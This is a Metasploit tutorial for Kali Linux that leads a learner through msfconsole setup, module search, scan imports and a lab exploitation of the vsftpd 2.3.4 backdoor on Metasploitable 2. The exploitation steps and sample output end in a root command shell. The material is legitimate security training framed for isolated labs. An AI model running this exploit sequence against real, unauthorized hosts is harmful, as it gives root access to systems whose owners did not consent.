Metasploit Tutorial on Kali Linux

Metasploit groups exploits, scanners, and post-exploitation tools into loadable modules you drive from msfconsole. This tutorial walks through that console on Kali Linux: initialize the database, search and evaluate modules, import scan results, run one controlled Metasploitable 2 lab, and manage the resulting session.

What is Metasploit

Metasploit organizes offensive security work into modules. You load one module at a time in msfconsole, set its options, and run it against targets you are allowed to test.

On current Kali releases the primary interface is msfconsole. Legacy tools such as msfcli and msfweb are retired. Graphical front ends like Armitage may still exist in some distributions, but they are not part of the day-to-day workflow this guide follows.

Prepare an isolated lab

You need two virtual machines on the same isolated segment:

• Kali Linux as the attacker workstation (where you run msfconsole)
• Metasploitable 2 as the intentionally vulnerable target

Connect both VMs to a host-only or internal network in VirtualBox or VMware. Snapshot the target VM before each exercise so you can roll back after an exploit changes the system.

Confirm the target address from Kali. Replace TARGET below with the IP your hypervisor assigned (host-only labs often use 192.168.56.101). Use KALI_IP for your Kali address on the same segment (often 192.168.56.100):

ping -c 2 TARGET

Sample output:

PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.4 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.3 ms

--- 192.168.56.101 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms

A quick port scan confirms the FTP service you will match to a module later:

nmap -sV -p 21 TARGET

Sample output:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

On a default Metasploitable 2 install the FTP banner includes vsFTPd 2.3.4. If the banner shows a newer version, restore the VM snapshot or pick a different service that matches an available module.

Initialize the Metasploit database

The PostgreSQL-backed database stores hosts, services, notes, imported scan results, and workspace boundaries. Initialize it once per Kali install:

sudo msfdb init

Sample output:

[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

Confirm PostgreSQL is listening before you open the console:

sudo msfdb status

The status command should list a postgres process bound to localhost:5432 and report that /usr/share/metasploit-framework/config/database.yml exists.

Start msfconsole in quiet mode to skip the ASCII banner during scripts:

msfconsole -q

Inside the console, verify the database connection:

db_status

Sample output:

[*] Connected to msf. Connection type: postgresql.

When db_status reports connected, Metasploit can persist db_nmap results, track hosts and services, and separate lab projects into workspaces.

Metasploit msfconsole command workflow

A common exploit-module workflow is:

search → info → use → show options → set RHOSTS → check → run → sessions

Auxiliary modules may skip check, do not need a payload, or never open a session. Learn the sequence on a harmless scanner before you load an exploit.

Practice with an SSH version scanner

The SSH version auxiliary module only reads a banner. Run it against your Metasploitable VM to practice the workflow on the same TARGET you will exploit later.

Search for the scanner:

search ssh_version

Pick the scanner from the results:

use auxiliary/scanner/ssh/ssh_version

Review required options:

show options

Point it at Metasploitable and run it:

set RHOSTS TARGET
run

Sample output:

[*] 192.168.56.101 - SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
[*] 192.168.56.101 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The version line is what you compare against module descriptions before you run an exploit. Return to the global prompt with back when you finish with a module.

Search and evaluate modules

Metasploit search accepts several filters. Combine them to narrow large result sets:

search type:auxiliary platform:linux ftp
search type:exploit name:vsftpd
search cve:2011-2523

search type:auxiliary name:ftp_version may return no rows on Metasploit 6.x even though the module exists. When that happens, search by keyword (search ftp_version) or load the full path with use auxiliary/scanner/ftp/ftp_version.

After you pick a module, read the metadata before you set options:

info exploit/unix/ftp/vsftpd_234_backdoor

Sample output:

Name: VSFTPD 2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix, Linux
       Rank: Excellent
  Disclosed: 2011-07-03
Check supported: Yes

Confirm these items before you run anything against a lab target:

• Product name and exact version from your scan
• Target platform matches the module (Linux, Windows, Unix, and so on)
• CVE or reference IDs align with what you observed
• Required options from show options are set
• Module rank in info (Excellent, Great, Normal, and so on) describes expected exploit reliability and service-crash risk, not whether the host is vulnerable
• Whether check is supported (shown in info)

List compatible payloads and platform targets when an exploit needs them:

show targets
show payloads

For vsftpd_234_backdoor, the exploit connects to the backdoor bind shell on target TCP port 6200. Use the cmd/unix/interact payload to work with that shell directly instead of a reverse listener.

Use workspaces and import scan results

Workspaces partition database contents per project. Create one for your Metasploitable lab:

workspace
workspace -a metasploitable-lab

Import an Nmap service scan directly into the database. This section covers only the Metasploit integration, not a full Nmap tutorial:

db_nmap -sV -p 21,22,80 TARGET

Replace TARGET with your Metasploitable IP. The command runs Nmap and stores hosts and services automatically.

Query what landed in the database:

hosts
services

Sample services output:

host            port  proto  name  state   info
----            ----  -----  ----  -----   ----
192.168.56.101  21    tcp    ftp   open    vsFTPd 2.3.4
192.168.56.101  22    tcp    ssh   open    OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
192.168.56.101  80    tcp    http  open    Apache httpd 2.2.8

List recorded vulnerabilities when a module or import adds them:

vulns

Switch back to the default workspace with workspace default when you finish a lab.

Run a controlled Metasploitable 2 lab

This section walks through one well-documented Metasploitable service (FTP on port 21) without turning the page into a vulnerability deep dive. The goal is the Metasploit workflow, not memorizing a single CVE.

Match the service version to a module

Enumerate FTP with the auxiliary scanner:

use auxiliary/scanner/ftp/ftp_version
set RHOSTS TARGET
run

On Metasploitable 2 you should see a banner similar to 220 (vsFTPd 2.3.4). If the banner shows a different release, restore the snapshot or choose a different service.

Search for a matching exploit:

search type:exploit platform:linux vsftpd

Load the module and read its requirements:

use exploit/unix/ftp/vsftpd_234_backdoor
info
show options

Set the target address:

set RHOSTS TARGET

Run the check step when the module supports it:

check

Sample output:

[+] TARGET:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present

The service banner and FTP response match the vulnerable build, but only a successful run confirms that the backdoor listener on TCP port 6200 can be reached. A clean vsFTPd 2.3.4 install without the trojaned archive can still pass check.

Configure the interact payload

This exploit spawns a command shell on the target at TCP port 6200. Select the payload that attaches to that existing shell instead of starting a reverse listener:

set payload cmd/unix/interact
show options

Confirm RHOSTS and RPORT are set. You do not need LHOST or LPORT for this lab.

Execute and verify the session

Run the exploit in the background so Metasploit does not drop you straight into the new shell. A normal run with cmd/unix/interact attaches to the session immediately, so the next sessions -l would be typed at the target prompt instead of msf6 >.

run -z

Sample output (abbreviated; your Kali IP and ephemeral source port will differ):

[+] TARGET:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] TARGET:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] TARGET:21 - Backdoor has been spawned!
[*] Command shell session 1 opened (KALI_IP:38412 -> TARGET:6200) at 2026-07-31 18:15:32 +0000

The run -z flag keeps you at the msfconsole prompt. List sessions:

sessions -l

Sample output:

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix  KALI_IP:38412 -> TARGET:6200

Attach using the ID from that table:

sessions -i <id>

Run a harmless verification command:

id

Sample output:

uid=0(root) gid=0(root)

Return to msfconsole without closing the shell. Press Ctrl+Z, then answer y when Metasploit asks whether to background the session:

Background session 1? [y/N]  y

Confirm the session is still listed:

sessions -l

Close the lab cleanly. Reattach with sessions -i <id> and type exit or press Ctrl+D from the shell rather than installing persistence or modifying startup scripts. Restore the Metasploitable snapshot before the next exercise.

Manage sessions

Sessions are the active connections Metasploit keeps after a successful exploit or auxiliary action that spawns a shell.

When no exploit has run yet, sessions -l reports no active sessions:

Active sessions
===============

No active sessions.

Command shell sessions behave like a remote terminal: each command you type runs on the target and prints text back. Use Ctrl+Z to background a command shell; the background command is for Meterpreter sessions. Meterpreter adds a richer command set for file transfer and system inspection. This tutorial stops at basic command shells; pivoting, credential harvesting, and persistence are out of scope.

Save reusable settings

Repeated lab setup is easier when you store defaults and replay them with a resource script.

Save your current module options:

save

Sample output:

Saved configuration to: /home/kali/.msf4/config

The path expands from your login name when you run msfconsole as a normal user.

A short resource script can initialize the workspace and run enumeration when you start a lab:

workspace -a metasploitable-lab
db_status
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.56.101
run

Save that block as ~/metasploitable-lab.rc and replay it:

msfconsole -q -r ~/metasploitable-lab.rc

Metasploit also keeps command history inside the console. Type history to review recent commands. When you finish a lab, clear saved defaults you no longer need with unsetg or edit ~/.msf4/config.

Update Metasploit on Kali

Kali distributes Metasploit as the metasploit-framework package. Refresh the index and upgrade:

sudo apt update

sudo apt install metasploit-framework

Confirm the installed build:

msfconsole --version

Sample output:

Framework Version: 6.4.135-dev

Do not run msfupdate on Kali. That script targets standalone Rapid7 installations outside the distribution package manager and can conflict with apt-managed files.

Troubleshooting

References

• Metasploit Framework documentation
• Using Metasploit — Rapid7
• Metasploit database support
• Exploit ranking
• vsftpd_234_backdoor module source
• Metasploit GitHub repository

Summary

Metasploit on Kali Linux centers on msfconsole and a repeatable module workflow. You initialize the database with msfdb init, search and evaluate modules with info and show options, store scan data in workspaces, and manage resulting shells through sessions. The Metasploitable 2 FTP example shows how banner version, module rank, and check output fit together before you run an exploit with cmd/unix/interact.

The details that trip up beginners are usually version matching, not syntax. Set the target option name from show options, confirm the vsFTPd 2.3.4 banner on TARGET, and remember that check only validates the banner and FTP response. A successful run that opens a session on port 6200 is the proof the backdoor is reachable. Restore VM snapshots between labs so service versions stay predictable.

For a full vulnerable target setup, continue with the Metasploitable lab guide and service-specific walkthroughs in Learn hacking using Metasploitable 2. Keep practice on private lab networks with explicit authorization.